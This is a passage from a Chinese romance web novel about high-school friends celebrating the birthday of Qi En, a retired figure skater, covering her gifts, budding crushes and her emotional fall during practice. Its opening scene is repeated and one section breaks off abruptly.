高玟失落地说:“我就想和你们永远在一起。以后毕业了,肯定都到陌生的城市上大学了。到时候天南海北更不好相聚,说不定一年半载都见不到几次面,就像陌生人一样不联络。”
其余人顿时都沉默了。
“……我讨厌那种感觉。”
高玟握着空荡荡的啤酒杯,嘀咕道。
“明明曾经很熟识,再见却陌生。”
谌俞很不合时宜献唱了王菲的匆匆那年:“如果再见不能红着眼,是否还能红着脸……”
“去你的!”高玟破涕为笑,“跟你们说哦,如果谁以后飞黄腾达,翻脸不认我这个朋友,我是真的会生气的!我会告诉全世界,我恨你们,超级恨!再也不和你们好的那种!”
“恨!当然要恨!”齐恩大力赞同,“一恨起来就发狠了,忘情了,没命了!恨———!”
袁礼米笑得岔气,捂着嘴直打嗝儿。高玟明显已经醉了,趴在餐桌上咂巴着嘴。她喝的不少,谌俞也是,两人时不时把脑袋撞到一处。
“你撞我干嘛!”高玟抱头大嚷。
谌俞:“明明是你撞的我!”
两人你推我搡,从餐桌打到休息区,袁礼米跟去劝架,被撂倒在懒人沙发上。老板娘一看,说你们这不行啊,还没那个经常来喝的厉害。
喝醉的人没听明白。
醒的人倒是听明白了。
张其薪看向齐恩:“你经常来这儿喝么?”
“还好啦。”齐恩笑了,“没复学的时候。”
“那就是还没康复的时候?今年二三月份?”
“嗯,康复师不让喝,但嘴长在自己身上。”
齐恩自顾自地斟酒:“他们确实太菜了,怎么说,这个年龄段的都没有能喝的。卢俜也是,滴酒不沾,这不行啊,以后在哪个方面工作,谈事都得有酒,中国是很讲究酒桌文化的。”
张其薪的重点放在:“你和卢俜喝过?”
“随便喝点,上周出去吃夜宵的时候。”
张其薪捏着酒杯不说话。
“多少对人家改观了吧?”
齐恩撞了撞他的肩膀。
“卢俜又没你想的那么坏。”
看张其薪脸色古怪,齐恩又问:“该不会因为我和方婕闹矛盾,你觉得有点不自在吧?”
“没事,你还
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是追你的,甭管别的。我和她有恩怨是我的事,你喜欢她是你的事,如果需要和我保持点距离,你开口就行了。甭管高玟、谌俞他们会不会骂你不仗义,我帮你说话。”
齐恩适时止住,给张其薪反应的时间。
餐桌上只剩两人,面对面,无处遁形。
“不是。”张其薪摘下眼镜,紧盯着她。
少年的眼中有温暖潮湿的微醺感。
“我现在,可能不喜欢她了。”
街。
齐恩照例给卢俜发消息报备。
卢俜只回一句“好,知道了。”
袁礼米说天气太热不想吃火锅,烤肉也很腻,齐恩干脆带大家去一家复古的法式bistro。
“这种地方过了饭点人少,可以点吃的,也可以点酒水。”她介绍,“休息区还可以躺。”
“啊,吃得好饱。”袁礼米歪在座位上,“好喜欢这家餐厅的氛围,灯光和音乐都很好。”
“原来你喜欢这种风格啊。”齐恩懂了,“那你肯定也喜欢意国,都是巴洛克风格建筑。”
“是啊是啊!我高考完一定要去西欧旅游!”
“我想去巴西。”张其薪说,“看世界杯。”
谌俞激动地和他碰杯:“好兄弟,一起!”
齐恩问高玟:“你呢,有想好去哪里玩吗?”
高玟失落地说:“我就想和你们永远在一起。以后毕业了,肯定都到陌生的城市上大学了。到时候天南海北更不好相聚,说不定一年半载都见不到几次面,就像陌生人一样不联络。”
其余人顿时都沉默了。
“……我讨厌那种感觉。”
高玟握着空荡荡的啤酒杯,嘀咕道。
“明明曾经很熟识,再见却陌生。”
谌俞很不合时宜献唱了王菲的匆匆那年:“如果再见不能红着眼,是否还能红着脸……”
“去你的!”高玟破涕为笑,“跟你们说哦,如果谁以后飞黄腾达,翻脸不认我这个朋友,我是真的会生气的!我会告诉全世界,我恨你们,超级恨!再也不和你们好的那种!”
“恨!当然要恨!”齐恩大力赞同,“一恨起来就发狠了,忘情了,没命了!恨———!”
袁礼米笑得岔气,捂着嘴直打嗝儿。高玟明显已经醉了,趴在餐桌上咂巴着嘴。她喝的不少,谌俞也是,两人时不时把脑袋撞到一处。
“你撞我干嘛!”高玟抱头大嚷。
谌俞:“明明是你撞的我!”
两人你推我搡,从餐桌打到休息区,袁礼米跟去劝架,被撂倒在懒人沙发上。老板娘一看,说你们这不行啊,还没那个经常来喝的厉害。
喝醉的人没听明白。
醒的人倒是听明白了。
张其薪看向齐恩:“你经常来这儿喝么?”
“还好啦。”齐恩笑了,“没复学的时候。”
“那就是还没康复的时候?今年二三月份?”
“嗯,康复师不让喝,但嘴长在自己身上。”
齐恩自顾自地斟酒:“他们确实太菜了,怎么说,这个年龄段的都没有能喝的。卢俜也是,滴酒不沾,这不行啊,以后在哪个方面工作,谈事都得有酒,中国是很讲究酒桌文化的。”
张其薪的重点放在:“你和卢俜喝过?”
“随便喝点,上周出去吃夜宵的时候。”
张其薪捏着酒杯不说话。
“多少对人家改观了吧?”
齐恩撞了撞他的肩膀。
“卢俜又没你想的那么坏。”
看张其薪脸色古怪,齐恩又问:“该不会因为我和方婕闹矛盾,你觉得有点不自在吧?”
“没事,你还是追你的,甭管别的。我和她有恩怨是我的事,你喜欢她是你的事,如果需要和我保持点距离,你开口就行了。甭管高玟、谌俞他们会不会骂你不仗义,我帮你说话。”
齐恩适时止住,给张其薪反应的时间。
餐桌上只剩两人,面对面,无处遁形。
“不是。”张其薪摘下眼镜,紧盯着她。
少年的眼中有温暖潮湿的微醺感。
“我现在,可能不喜欢她了。”
生日礼物
我了个,兄弟你别搞我啊。
齐恩感觉右眼皮一跳一跳的。
她故作深沉,“年轻人,看清楚自己的内心很重要,不能今天爱一个明天又不爱。而且你还是个男人,男人最重要就是纯情,知道吗?”
张其薪也笑起来:“在说什么啊?就是顺其自然的,慢慢就放下了,不是谁的原因。”
笑了就可以当作玩笑话,齐恩松了一口气。
张其薪顺而从书包里拿出一个礼品盒。
“这是给我的生日礼物?”
“嗯。”张其薪递过去。
齐恩掂量着小盒,“不是贵重的东西吧?”
“就是别人送的,放在家里也没用。”
“可以拆开吗?”
“请便。”
齐恩拆开,一瞬间眼都瞪直了。
“这就是你说的不贵重?!”
最新款的苹果系列手表,还是和某知名运动品牌的联名。齐恩不是不喜欢,只是觉得没必要买这么贵的,手表能测心率就行了,“这个是不是还可以测血氧?还有专门的跑步软件?”
“嗯,谌俞说你有夜跑的习惯。”
齐恩道了谢,反倒拘谨起来。
这不能怪她,哪有人送礼物送这么贵的?
“你生日的时候,我会还你同价位的礼物。”
“不用,正常就好,不用刻意那样做。”
齐恩心想这便宜不能白占,虽然张其薪不说,但她得这样做,这是交往中还礼的规矩。
手表都拆开了,她干脆直接戴上,遇见不会的地方,张其薪教她怎么使用:“这个是运动模式,这是NFC,磁感区靠一下就能付款。”
齐恩尝试自己操作屏幕。
张其薪的手还未撤离。
两人的手碰到一处。
张其薪放缓了呼吸。
“好厉害啊,我待会儿上地铁就要试一试。”齐恩说,“就这样,嘿,手表一亮!”
她自顾自摆弄着新手表,没注意到张其薪突如其来的微妙反应,又把屏幕凑到他面前展示。
“这个表盘好看!”
“……我看看。”
说话的时候,靠得太近了,张其薪猝不及防。眼神聚焦之后能看清每一根眼睫,漆黑纤长。眼波是明亮澄澈的,有碎光闪逝。齐恩毕竟是齐恩,浓墨重彩的五官全长在巴掌大的脸上。
“看表盘啊,看我干嘛?”
张其薪这才回过了神。
这时候袁礼米也拎着两只醉鬼回来了:
“真是!你们两个酒量差还喝那么多干嘛!”
“不许……侮辱我……”高玟可是东北人,“我们大东北……就没有不会喝的……”
谌俞倒是清醒了些,他拍齐恩肩膀,说有礼物给她,“你今晚也有礼物?”齐恩失笑。
谌俞从自己的书包里拿出了另一个白色布包。难怪他的书包鼓鼓囊囊的,原来装着这东西。
在看清楚那是一只冰鞋包之后,齐恩脸上原本懒散的笑容凝固住了,她嘴角渐渐坠落下去。
“这是你职业赛场上最爱穿的一款鞋,我也是专门了解过,有热定型的功能,可以贴合你的脚型。”谌俞难掩得意的神情,“看小爷我对你多好,还给你买鞋和冰刀,快拆开看看。”
这个型号是非常难买的,漂洋过海,还要办一系列繁杂的手续。齐恩是知道的,正是因为知道,所以更不能苛责谌俞。她笑了笑,说回家再拆开吧。她把冰鞋包拎着,结了餐馆的账。
谌俞沾沾自喜,还不明白自己的礼物多么不合适。大伙准备打道回府了,袁礼米打车回去,顺路捎高玟,高玟却非要把谌俞也拉上:“张其薪送齐恩回去,我有话要对这个棒槌说!”
等到谌俞上了车,高玟对他急头白脸一顿骂:“你他妈蠢啊,给齐恩送冰鞋,怎么想的?”
谌俞一时间大脑宕机。
“不是,这冰鞋怎么了?”
高玟摇头:“送的款式不行!”
袁礼米也一脸无奈地别过脸。
“你知道你送的这双鞋有什么故事吗?”高玟扶着额头,“你不关注体育资讯吗?就算不关注,你也记得齐恩一开始来咱们班是拄拐的?她的右脚踝有伤,韧带早就断了三四根了!”
齐恩是因伤退役,大多数人知道。
却很少有同学知道她的伤是复发病。
袁礼米解释:“去年十月份ISU,她就穿这双皮埃诺七星。赛前冰鞋右靴出现了断裂,勾环掉了,是用塑料胶紧急加固才参加的世锦赛,结果导致她在赛场上摔倒,最终意外退赛。”
谌俞恍然:“原来是这样!我不知道……”
如今看来,这无疑是往齐恩心上捅刀子。
“你现在知道了!”高玟叹息一声,“不知道怎么说你才好,回头好好给人家道歉吧,送礼之前动动脑子行不行?你送点别的不行,非得送这一款冰鞋,也不知道哪里来的馊主意!”
“我……”谌俞愧疚得难以言表。
这还是张其薪替他出的主意。
算了,现在说这些又有什么用。他犯难地揉搓着额发,红了眼眶:“这件事都是我的不是,齐恩她性格太好
了,居然没有当场撂我脸子,是因为顾及我的感受,她才收下冰鞋……”
“齐恩才不是不通情达理的人啦。”袁礼米安慰,“你准备了很久,她会明白你的心意。”
话是这么说,看谌俞急得团团转的样子,两个女孩儿对视一笑。“行了。”高玟有意逗他,“齐恩生气就生气了,你这么害怕干嘛?”
谌俞也不反驳,只是抱着后座的抱枕嘀咕:“你不懂,你不懂的……”
谌俞到家就先下车了。
高玟和袁礼米津津乐道。
“我看谌俞也是被齐恩吃得死死的!”
“那可不一定。”袁礼米说,“谌俞只是慕强心理。我总觉得他对齐恩太崇拜了,又不怎么了解。如果你真的喜欢一个人,就会试着了解她的方方面面,而不是犯这样低级的错误。”
高玟摸下巴:“好像也很有道理。”
高玟捏了一会儿袁礼米软乎乎的脸,又问:
“你说男生和女生差别怎么这么大?”
“女生如果喜欢一个人,肯定会花费心思去打听他的过往、兴趣爱好什么的,甚至连每时每刻在想什么都要知道。但是男生真的很奇怪,为什么在不了解的情况下还能擅自喜欢呢?”
“很简单啊。”袁礼米说,“见色起意。”
其实很多人都是这样的,不光是男生。”
“你的意思是,谌俞和张其薪对齐恩有好感,都是因为见色起意?那我有点……”
“也不全是,齐恩当然有个人魅力,而且很大。可如果不因为她长得美,又年少成名,有多少人喜欢她?”袁礼米心里如明镜一般,“即使这样,她还要承担那么多流言蜚语。”
高玟:“都是国家级别的运动员了,齐恩的心态肯定比我们更强大啦。”
“但是。”袁礼米看向车窗外的夜景。
不断偏移的灯影像绷直的黑琴弦。
“偶尔也希望她能停下来喘口气。”
.
齐恩和张其薪进了地铁站。
“唉,给我热够呛。”
齐恩拿自己的领口擦了擦汗。
张其薪伸手:“冰鞋包,我来帮你拿着吧。”
提到这个,齐恩不自在,张其薪已经接过。
过了安检,张其薪问她是不是心情不太好。
“很明显么?表现在脸上了?”齐恩打哈哈,“别跟谌俞说哦,可能我也喝得有点多。”
张其薪观察着她:“其实你可以和我说说。”
“这有什么好说的呀,赛场上的事。”两个人上车,没有位置坐了,齐恩抓住头顶的横杆。张其薪站在她的身侧,处于某种隐秘的心理,把自己的左手放在离她的右手更近的地方。
更近一些。
距离被打破。
“明明心里有事吧,和我说一说也不可以吗?难道我们之间不是朋友吗?”张其薪问。
齐恩错愕,但很快接过了话:“当然是朋友,我没事的,就是有一点……触景生情了。”
“是因为谌俞给你送的鞋?”张其薪轻声道,“他就是那样的人,缺心眼,你要是不喜欢,直接把鞋扔掉就行了。我们都知道你退役之前的事,只有他不知道,所以这也怪不了他。”
“怎么舍得扔呢?”齐恩诧异地道,“我要留着!珍藏起来!那也是谌俞的一片心意啊!”
“感觉你很善于应付别人的喜爱。”
张其薪温热的视线碰巧和她对上。
他在笑,镜片下的目光莫测,嘴角酒窝很深。
平心而论,张其薪的长相十分清隽,给人很有教养的观感,这也许和他的家庭环境又关系。
现在看来,不是也许。
齐恩心想谌俞也很接地气,看不出来是富哥,温主任说的对,这帮人都很恐怖,不是红二代就是商三代。城市套路深,齐恩要回国家队。
“是么?”
在不知道怎么回答的情况下。
反问永远是最好的答案。
“字面意思而已,年级里面有很多人喜欢你,还有隔壁班的男生找我要你的联系方式。”
“难怪。”齐恩作气恼状,“每天有一百万个陌生人加我,我还寻思被传销的缠上了!”
“但是我从来没给过。”
张其薪认真看着她。
齐恩几乎确认张其薪对她来电。
只是,凡事没必要摊得那么开。
“啊哈。”她笑说,“因为我是国王。”
“国王?”张其薪不明白这词的由来。
“方婕以前评价过我,说我刚来学校第一天就给大家签名,调起得太高,又指挥交通让同学别堵塞,就叫我国王了。”齐恩不以为然,“这么来的呗,也可以说是年轻的国王。”
她眨眨眼:“对臣民的喜爱照单全收。”
漂亮,很讨喜的推拒。
仍然让人不会感到不快。
聚民大街北站已抵达。
两人下车,同时也换了话题。
“你和卢俜都住在这儿?”张其薪依旧帮她拎着冰鞋包,看这架势,是想直接送她到家。
“是啊。”齐恩示意那栋老旧的居民楼,“我一号楼,他二号
楼,我住三层,他住四层。”
“那确实很近,一起上下学也不奇怪。”
“那可不,偶尔还能串门问个数学题。”
“你去过他家?”
“顺脚的事。”
“那他来过你家吗?”
“好像还没有。”
楼道里面有声控灯,亮起时理应驱散黑暗,但线路实在太老了,灯是一闪一闪的。齐恩抬脚往上走,张其薪在她身后:“这灯太老了。”
“是啊,这小区什么都破!”齐恩抱怨道,“上个月还停电了,晚上十点到第二天中午,说就是线路老化,算了,起码租金便宜。”
“基础设施差,这附近治安也不好,刚才看到路边好几个宵夜摊都是光膀子男人扎堆,怎么没想着搬到治安好点的地方?这里是闹市。”
“八百一个月,两室一厅一卫,又是学校边的地段,别说光膀子,就是光屁股我也爱租。”
张其薪被逗笑:“……还是安全第一。”
“安啦安啦,你和谌俞,就你们俩,跟男保姆一样,生怕我出什么意外。”齐恩想了想,“还有高玟,她是女保姆,啊不,女保镖。”
齐恩掏出钥匙开门,张其薪在一旁开手电筒。进屋,开灯,还没有要走的意思。齐恩委婉地提醒:“行了,送到了啊,再送得付钱了。”
“我让司机直接来接的。”张其薪说,“还有二十分钟到,可以先进你家蹭会儿空调吗?”
“你这说的,我家是没拖鞋,怕招待不好你,又不是非得把你卡门口,怎么我是门神呐?”齐恩侧身,“话说你有司机怎么还坐地铁?”
“送你回家。”张其薪擦肩进了屋。
“怎么不让你家司机送我回家?”
“你之前不是说不想麻烦我家司机?”张其薪翻起了旧账,“我还以为你喜欢坐地铁。”
“那时候……”齐恩哂笑,“又不太熟。”
“现在熟吗?”张其薪接过她递来的冰水。
“七分熟。”齐恩回答得也很有艺术性。
不生也不熟。
“怎么样才能变得更熟?”
“你以为我是微波炉呢?”
一通来电打断两人的对话,是张其薪的手机。
他看了一眼来电人,面色微变。接通之后他只听着,对面的人似乎在不停地说话,他则不时嗯了两声,说完“再看吧”,就挂断了电话。
齐恩问:“是不是有事要忙?”
张其薪迟疑片刻:“……是我妈。”
“你不是说你家里人不管你晚归吗?”
“没有。
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”张其薪摆了摆手,“她过些日子要出差,去苏州,问我要不要跟他们一起。”
“他们?”齐恩问,“你妈的同事吗?”
“算是吧。”张其薪撑着下巴,“是我爸。”
齐恩想到谌俞说过:“你爹管你很严?”
“只在学习方面。”张其薪说,“他不会管我消费什么,不会管我多晚回家,甚至很多时候他们都在外地出差,兼顾不到我的生活。但是我爸很在乎我的成绩,决定他对我的脸色,”
“家里一般都是一个红脸一个白脸。”齐恩深谙此道,“那就是你妈妈对你比较温柔?”
“我妈收拾我也不带手软的。”
“小可怜。你是挨双打长大的。”
“那你呢?你爸妈不在这边?”
“我爸和我妈很早就离啦,我是跟着我爸,但他工作也比较忙。”没想到是这样的回答。
“如果一个人在家无聊的话,可以来找我。”
齐恩哈哈大笑:“这有什么好无聊的?”
她笑起来很开朗,但不触及真心。
张其薪心想,她几乎不怎么说自己的事。很少有人会完全摒弃倾诉的欲望,除非内核过分强大。
张其薪注意到她的膝盖上的黑淤青。
他细看,齐恩去遮,被他反摁住手。
“你干嘛?喝醉了?”齐恩抬眼看他。
“这些……都是滑冰的时候留下的?”
“是啊,那不然?运动员有点磨损很正常。”
齐恩从他的眼底看到浓重的情绪,少年灼热的呼吸铺洒在皮肤上。他用指尖碰了碰那淤青。
他突然说:“齐恩,我想……”
不,别别试图越过那条线!
“张其薪!”齐恩打断了他。
门外有敲门声适时响起。
齐恩起身:“我去开门。”
门开了,来的人是卢俜,穿着简单的白T恤和短裤,戴防蓝光的黑框眼镜,古板而平常。
“我的英语试卷在你这里?”卢俜环视屋内,和客厅里的张其薪撞上视线,清淡地错开了。
他只是认真盯着齐恩:“你用完了没有?”
“还没有。”齐恩招待他,“先进来吧。”
卢俜进来,他自己穿的就是居家拖鞋,很显然串门的姿态。“我们英语老师说要用我的卷子当样卷,我扫描一下答题卡,给她发过去。”
“在书桌,我去找找。”
齐恩溜之大吉。
客厅里只剩两个男生,卢俜是站着的,没有坐下的打算,而张其薪同样也没有
起身的想法。
两个人都不是健谈的性格,或者说男生之间的往往很两极,不是看得顺眼就是看不顺眼。
“齐恩又不是方婕。”张其薪先开了口。
“你没必要对十七班的人那么殷勤吧。”
卢俜说:“我没有殷勤,对方婕也是。”
“你知道方婕的处罚结果下来了吗?警告处分和休学半年,后者对她来说可能影响更大。”
“抱歉,我不是很清楚。”
“方婕喜欢你,你就因为齐恩那么背刺她。”张其薪冷笑,“该不会你移情别恋了?”
“移情别恋的是你。”
卢俜一语道破。
“我也从来没有喜欢过谁。”
张其薪陷入了沉默,直到齐恩拿着卷子出来,他和她告别,微笑着说司机还在下面等着。
张其薪离开,齐恩如释重负地倒在沙发上:“卢子,你再晚点来,我就要社死了!”
老实说卢俜来得不算晚,收到消息就下楼了。
张其薪和齐恩的事,卢俜没有多问,八卦也不是他的风格。他注意到她的手腕:“新表?”
“张其薪送的。”齐恩抬起手腕展示。
“高玟送的幸运草手链,袁礼米送的庄羽周边羽毛球,谌俞送一双冰鞋。”齐恩打开书包,礼物盒哗啦啦倒出来,“还有很多不认识的人,有个学弟送我一双八千多的北卡蓝倒钩,我不想收,他又说是我粉丝,也不好拒绝。”
她很受欢迎,这是事实。卢俜看着小山堆一样的礼盒,想到班上女生的话题也总围绕着她,说她人缘多么好,过个生日都像在普天同庆。
卢俜恰恰相反,他对任何节日都很漠然,包括自己或别人的生日。这不是没有朋友的缘故,家庭观念致使他冷淡,从年幼时就是如此了。
齐恩说,卢俜就听,反正他爱不爱听,她都会继续说下去。卢俜其实也算参与了她的生日,他吃了她的生日蛋糕,人手一份,正好有他。
正好而已。
卢俜只是她万千朋友中的一个。
也许和刚才的张其薪没什么区别。
区别是,他还比较老实,不会做逾矩的举动。卢俜自己都觉得这解释很合理,同时也明白一件事———齐恩和他交好,一部分原因是避嫌。
卢俜说:“没什么事,我回去写题目了。”
“那么着急走干嘛?你还是第一次来我家。”齐恩领他去卧室,“我上次不是和你说了我的音响?你说听不出来,要不要进来听听?”
“……那是你的卧室。”卢俜闪躲着。
“这有什么嘛,快进来!”齐恩拉他。
“如果。”卢俜同她僵持住,“如果是张其薪要进你卧室,你肯定不会让的……不是么?”
“那不是废话吗!”齐恩理所当然地道,“我和你什么关系,和他什么关系,那能比吗?”
卢俜不知为什么,浑身的死劲儿都泄下来了。他顺着齐恩给的的力度往前走了两步,又如梦初醒:
“今天太晚了,我明天再来你家听。”
齐恩这回没再拦,卢俜拿起试卷离开。
他走到门口,她才慢悠悠地喊住他。
“好学生。”
她意味深长。
“说这么多,你没准备生日礼物给我?”
“……抱歉。”他说,“我没有这种观念。”
“可今天是我的生日!”齐恩夸张地伸手,“你应该给我礼物!你还吃了我的蛋糕!”
卢俜实在想不出上哪儿给她找礼物。
他站在门的那一侧,真挚地思索着。
突然,他俯身,将脑袋递到她面前。
“你……之前……不是说过想摸?”
从齐恩的视角,只能看到卢俜毛茸茸的发顶,纤长卷翘的棕褐色眼睫,还有鼻尖一点点红。
“……生日礼物。”
真的好想
机会就在眼前,像很想吃的一道甜品被小心奉上。延迟的好奇并不会消失,反而怦然跃动。
齐恩心想,他是有心还是无意?
是因为知道她的心情不佳?
总之,她去摸他,先是用指尖轻碰,勾住卷卷的发尾,一下下绕弄,然后———突然把手指伸进去!就像探入温暖干燥的芳草地,原来卢俜发质这么软,猫咪的毛发,好神奇的触感。
“哇哦。”她不自觉地轻叹。
指骨并拢,毛发在其中摩擦。
“哇,哇———”她一下又一下地,一开始还算拘谨,后来发现手感简直太妙了,于是迅速伸出另外一只手,双手齐下。小猫,他真是,被齐恩摸光光,这么好的事为什么以前没有?
“如果可以天天摸,我想象不出来自己会是多么一个开朗活泼的小女孩!”齐恩欣喜地说。
你本来就是,卢俜没有说出口。
他耐心地等待她摸个尽兴。
齐恩去够他后脑勺较短的卷发,这样一个动作,卢俜猝不及防,耳朵也被她的掌心贴住。那里是敏感的地方,很痒、很刺,细碎的电流淌过,酥酥麻麻。摩擦时,窸窸窣窣的声音好像深埋在身体里放大。他忽然就感觉不好了,应激地往后躲了两下:“……你别瞎摸了。“
齐恩被迫撤回手,还有点儿遗憾。
“还没摸够呢。”她回味那感觉。
卢俜眼神闪躲,“回去了。”
“嗯。说好了明天来我家哦。”
“晚点手机上说。”
卢俜走得很仓促。
害羞了?真可爱。齐恩自己也忍不住笑,靠在门边目送他上楼,一格格。依旧挺直的脊背、高挑颀长的身影,少年人特有的清瘦感,可以理解。他还有一头蓬松的羊毛卷,简直绝杀。
行吧,生日礼物,还算凑合。
而另一边,卢俜那虚于表面的镇定在开门时彻底摒弃。他慌乱试了两下,最后才打开门锁。
换鞋,关门,回房,动作一气呵成。
他把自己埋在柔软大床,调整着呼吸。
她看到了没,应该没有吧,他转身得够快。怎么会突然这样?这辈子没见过这么尴尬的事。等等,好像不是没有吧,但这次和酒店那次又不一样,卢俜苦恼于自己这莫名其妙的反应。
想到齐恩、近日发生的一切。
卢俜没办法静下心来。
手机有响动,齐恩给他发了消息,说过一周有广告要拍摄,明天起要去冰场练习,不能请他来家里做客了。卢俜反而松了一口气,回了一句“知道了”,齐恩又问,爽约会不会生气。
不会,卢俜回。
为什么生气,他没有理由,而且齐恩也有自己的事情要忙。只是,在她问过之后,卢俜得到了切实的尊重。他把英语卷的扫描件发给她,齐恩回了个中年叔叔掩唇羞涩一笑的表情包。
真是很难把她的风格和本人联系起来。
卢俜要去刷卷子,就放下了手机。
齐恩要拍摄的是一款国民品牌牛奶的广告,广告费可观,她作为刚退役的花滑国家运动员,含金量还在上升,按理来说运动员退役后从业方向就两个,一是为国家运动梯队添砖加瓦,往裁判教练等高层管理方面发展,再就是谌俞说的进军互联网,反正有庞大的粉丝基数,成立运动产品品牌,做直播卖货,也可以盈利。
可齐恩毕竟年轻,有无限可能。
她还不想早早框定好未来的路。
齐恩的广告一般是体育经纪人帮她洽谈,她自己也会看看项目内容,合适就接。像这种赞助商级别的品牌也很阔绰,大半个花滑国家队的都请过来。现役队员和大概率参加下届冬奥会的种子选手,齐恩原本不该在邀请的行列中,但她属于刚退役的老将,粉丝转化率又很高。
没什么好纠结的。
齐恩订了飞沪城的机票。
齐恩想起谌俞送的那双冰鞋,唯一没有拆开的礼物。她平复着自己的心情,打开了冰鞋包,抚摸那双做工精美的鞋。白金的皮革,流水般细腻的鞋线,她想到在它身上发生的故事。
首先是右脚熟悉的刺痛。
捻转、起跳、失衡。
四面八方都是彻底的声音。
齐恩被刀刃般的闪光灯刺伤。
这是她的重大失误。
齐恩迅速从冰面站起。
想要站直,可脚腕忍受不住地颤抖,右膝盖撞出血了,低头时才能看到。可齐恩必须高高抬起自己的头颅,这是总决赛的现场,她将手臂高举,十秒钟之后有第二个四周跳,成功了!
第三个,四周跳。
齐恩的牙关在颤抖。
勾手四周跳。飞利浦四周跳。
如果身体真的有极限的话。
请等齐恩落幕。
血顺着膝盖蜿蜒而下,染红了跳跃的地域,像走向末路的狂舞。这是一位顶尖花滑选手的谢幕礼。齐恩的旧伤和别离来得一样仓促,好在很完美。谢幕动作,她躬身亲吻血红的右膝。
她赢得潮水般的掌声。
她褪下有残缺的冰鞋。
齐恩为自己的花滑生涯划了一个完美的句号,虽然没有获得
只是欣赏了一出精湛到无可复加的表演。很难相信表演者是那个说话坏坏、总玩世不恭的齐恩,反差太大了,像双重人格,两个人。他开始理解开学那日为何那么多狂热粉围着齐恩要签名,追着她说有关喜欢或爱的字眼。他当初看到她的脸,只是觉得不算夸张,如今领略
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她的作品才知道名副其实,如果他最先认识的是冰场上的她。
保不准也会自惭形秽。
任何人面对她都会自卑吧。
齐恩滑到场边,教练对她说话。说完之后齐恩又滑回场地中央,练习着有瑕疵的动作。其实卢俜根本就看不出哪个动作不到位,他也只是看着。直到齐恩突然做出了一个额外的动作。
那是原本未被删减的规定动作。
阿克塞尔跳三周半接三周半。
向前起跳,向后落冰。
前外刃顶住刀齿起跳。
就在落地时意外发生了。
齐恩突然跌落在冰面上。
教练听见沉闷的摔地声才注意到。
而卢俜已经脱下书包飞奔进去。
比卢俜想得要好一些,摔得没有太狼狈,齐恩自己用双手抻住了冰面,双膝点地保护腿部。真坚强,他心想,摔得那样惨,在坚硬的冰面上,宛若飞鸟突然失去了赖以生存的双翼,却仍能勉强支撑住。多强大的意志力才能做到这个地步,更何况她本身带着经年累月的伤病。
卢俜扶住了齐恩。很冷,原来冰场上这么冷。
齐恩脸色极差,不停地喘息,抬眼看到卢俜。
卢俜抬住她的胳膊,帮她站起。她却推开他。
事关运动员的尊严,她并未给观众好的观感。
她作为一个表演者失格了。
齐恩右脚不停地颤抖,失误并非第一次发生,然而穿着这双相似的鞋,鼓起十足的勇气,却要一次次被摧折。她不是无往不胜的人,但也不甘忍受自己的失败。越骄傲的人越有可能登顶,但也代表她的骄傲会无时无刻折磨着她。
她无非想要触摸到曾经的自己。
哪怕一点点,齐恩只是不甘心。
她根本没有放下,放下?如何能放下?坚持了这么多年的东西。从开始懵懂的尝试,到初登赛场的欢欣,到如今功成名就,花滑陪伴了她十载的光阴,如果生命不可以献给这个东西。
她的人生就戛然而止了。
想到王玉说的那句话,再抬起头也许只能仰望到她们登顶的背影。其实齐恩总是不甘心的,不甘心又能如何?埋怨上天不公平又能如何?难道她还有再次站在赛场上搏杀的资本吗?
既然没有,那就向前看,回归到正常的轨迹。当一个普通的高中生,朝八晚五、上课放学、循规蹈矩……这并不难,总能适应的不是吗?
可是,可是不管怎样。
齐恩的泪水落在冰面上。
冰冷滚烫,晶莹剔透。
像无数日夜凝结的珍珠。
“我真的好想……”
她掩住苍白的面颊。
“继续滑下去。”
有点闷骚
齐恩的脸渐渐埋在卢俜颈间。
分不清是谁先靠近了谁。
只是,卢俜感受到肩上柔软的热潮。
她紊乱的心跳仿佛也扎根他的体内。
她哭了,他想,并不脆弱的哭。
不软弱,不无能,一点儿也不。
是勇敢者的哭泣。
是野心家的哭泣。
不是卢俜选择了齐恩,而是齐恩自然而然落在他肩膀上。她正好需要一个支撑,而卢俜正好出现在这里。如果没有他,她也会展露脆弱的一面,他只是……正好在她最无力时出现了。
卢俜很明白,她需要的不是安慰。
但他也很木讷,不知该作何反应。
齐恩是骄傲的人,骄傲的人往往不需要安慰,只需要认同。在她玩世不恭的表面下,隐藏着无极的自尊。人往往不是一夜之间崩塌了,是情绪的积攒到达一个阈值。无数次强颜欢笑、未被宣泄的苦楚,它们不是消失了,而是潜藏在脑海的深处,等待某个无法抑制的时期。
再杀一个回马枪。
好刺痛人的心脏。
任何安慰的话都无法感同身受。
卢俜只能等待着她平复心情。
仇指导递来一包纸巾,同样没说安慰的话。
“下午别练了,回去好好休息,吃顿好的。”
仇指导带了齐恩八年,比齐恩更了解她,性格就是较真,听话也只听自己的话,别人说了她不会过心。一定要自己也试过,摔过跟头撞过墙,才知道有些事不是一腔孤勇就可以做到。
齐恩并没有摔伤,或者说她们这种人摔也摔出了不少经验,知道如何减轻对身体的伤害。
齐恩还是那个齐恩,擦完眼泪就平复了心情,换下训练服就去闹卢俜,说他身上没几两肉。
“硌得我一点儿也不舒服。”
卢俜说:“……抱歉。”
齐恩在场外换下冰鞋。穿上平底鞋,她跳了两下证明自己完好无损,教练也就放下心了。
去前台做结束登记,顺便把卢俜带来的表格填好,齐恩笑道:“你这下总算能交差了。”
“嗯。”卢俜收好了表格。
又不是为了交差才来的。
“ 走吧,先把表格送回去。”齐恩吸鼻子,“刚才在冰场里冷死了,好想喝点热的。”
卢俜从她手里拿过冰鞋包,齐恩没和他客气,运动包也一并递过去,“负重锻炼一下。”
运动包里装了训练服,不重,卢俜通通接过。齐恩点咖啡,问他喝什么,像是知道他要说什么:“不许不喝,不许随便,不许请客。”
卢俜只好点了一款当下时兴的促销品,名字太长也念不清楚,齐恩点的是热牛奶,脱脂的。
她捧着一杯牛奶慢吞吞地喝,分外悠闲,卢俜则要拎着包。到体育馆外,他们打车回学校。
两人上了出租车,齐恩那一小杯热牛奶早喝完了,卢俜点的是冰的,她问可不可以尝一下。
卢俜直接递给她:“你拿去吧。”
“我就喝几口!”她拿纸杯接。
卢俜只好倒给她,还真只倒了几口。
“小气。”齐恩说,“打发谁呢。”
卢俜顾虑的是:“刚喝热的也不能喝冷的。”
“好吧。”齐恩笑了,“你好关爱我哦。”
卢俜没有否认,看向齐恩穿着短裤的腿,膝盖上还有未消的淤青,当然也有刚添上去的。
“待会儿先去校医务室,把伤口处理一下。”
齐恩从包里拿出云南白药:“我有这个。”
